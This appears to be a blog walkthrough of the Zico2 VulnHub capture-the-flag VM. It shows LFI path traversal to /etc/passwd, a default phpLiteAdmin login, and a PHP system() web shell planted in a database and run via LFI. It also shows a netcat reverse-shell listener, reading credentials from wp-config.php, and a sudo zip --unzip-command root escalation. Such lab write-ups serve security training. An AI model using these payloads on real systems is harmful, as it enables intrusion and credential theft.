Hack the Zico2 VM (CTF Challenge)

[kevincarrera]

Today we are going to take another boot2root challenge known as Zico2 By “Rafael”, where we have to root the system to complete the challenge.

Download this VM here: https://download.vulnhub.com/zico/zico2.ova

Difficulty Level: Intermediate

Penetration Methodologies

Scanning

• Netdiscover
• Nmap

Enumeration

• HTTP surfing
• Directory enumeration

Exploiting

• LFI
• Obtaining reverse shell via netcat

Privilege Escalation

• Login through SSH
• Identify user’s credential
• Abusing SUID binaries

Capture the flag

Walkthrough

Scanning

Let’s start off with finding IP using netdiscover and in this case, our IP is 192.168.1.108.

netdiscover

Time to scan the Target’s IP with Nmap. The scan result shows port 22(ssh), port 111(rpcbind) and port 80 are open.

nmap -A 192.168.1.108

Enumeration

Since port 80 is running HTTP, so our obvious choice is to browse Target’s IP in the browser.

We scroll through the page and click on “check them out” as can be seen in the following screenshot.

After clicking on the previous page it takes us here and where we notice the URL which was looking for tools.html page and thus it could be vulnerable to LFI, let’s verify it.

Here I tried to get LFI and succeeded with “/../../etc/passwd”. Now as we can read the content of passwd file we find a user ‘zico’ in there. Let’s just save this info for now.

While enumerating directories through dirb, found an interesting directory “/dbadmin”.

dirb http://192.168.1.108/

When we browse ‘/dbadmin’ directory, it displays a file named “test_db.php”.

Here, we can see a php database login page along with version name, so we can google things up or if we go by the name of “test_db” it hints at a default setup.

So tried ‘admin’ as password and it worked.

Exploiting

Next, we are using ‘Searchsploit’ and as the name indicates, it will search for all exploits and shellcodes for phpliteadmin(in this case). In the screenshot we can see that it is vulnerable to Remote php code execution and EDB-ID for the same is ‘24044’. Once we copy it to the current working directory (/root/24044.txt) and open it, we find guidelines to exploit the db.

searchsploit phpliteadmin
searchsploit -m 24044
cat 24044.txt

Here we have followed the guidelines :

Step1: Created a database and named it ‘shell.php’ (we had to add the extension ‘.php’ with the database name)

Step 2: Created a table ‘shell’. Inside the table, we created a column ‘field’, selected the type of the column to be an ‘Integer’ and set the default value to “<?php echo system($_GET[“cmd”]); ?>”.

From the following screenshot, it can be seen that our php code script has been saved in the database.

Now we just have to run the file (the full path of the created php file is exposed)

So, to execute the file we can use the previously detected LFI vulnerability. And we have got lucky as we are inside ‘www-data’ .

http://192.168.1.108/view.php?page=../../usr/databases/shell.php&cmd=whoami

Time to set up a netcat listener in our local machine and run the python code inside the uploaded shell to get a reverse shell. (refer next screenshot for the listener)

Python code reference:

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pentestmonkey.net

http://192.168.1.108/view.php?page=../../usr/databases/shell.php&cmd= python shell

To simulate a proper shell with TTY we use python one-liner. Once at the shell, we find ‘wp-config.php’ file inside “/home/zico/wordpress”.

nc -lvp 1234
python -c 'import pty;pty.spawn("bin/bash")'
ls
cd /home
ls
cd zico
ls
cd wordpress
ls

Inside the wp-config.php file, we discover a database user zico and its password.

cat wp-config.php

Privilege Escalation

We use recently discovered credentials to login through ssh.

Then we use the sudo command to list all the commands the user can run with root privileges and we can see that the user can run both tar and zip commands as root without the need to enter any password.

So, now in the process of escalating the privileges from “zico” to “root”. At first, we create a file ‘raj’ than we perform three different tasks in a single line of code: first, we zip the file ‘raj’ second move it to /tmp/nisha.zip folder and lastly unzip it which will pop the root shell.

Finally, we get ‘flag.txt’ inside the root directory. Hence, we accomplished the task.

ssh [email protected]
sudo -l
touch raj
sudo zip /tmp/nisha.zip /home/zico/raj -T --unzip-command="sh -c /bin/bash"
cd /root
ls
cat flag.txt

Here is the complete reference to exploit sudo rights: https://www.hackingarticles.in/linux-privilege-escalation-using-exploiting-sudo-rights/

Author: Nisha Yadav is trained in Certified Ethical hacking and Bug Bounty Hunter. She is currently working at Ignite Technologies as a Security Analyst. Connect with her here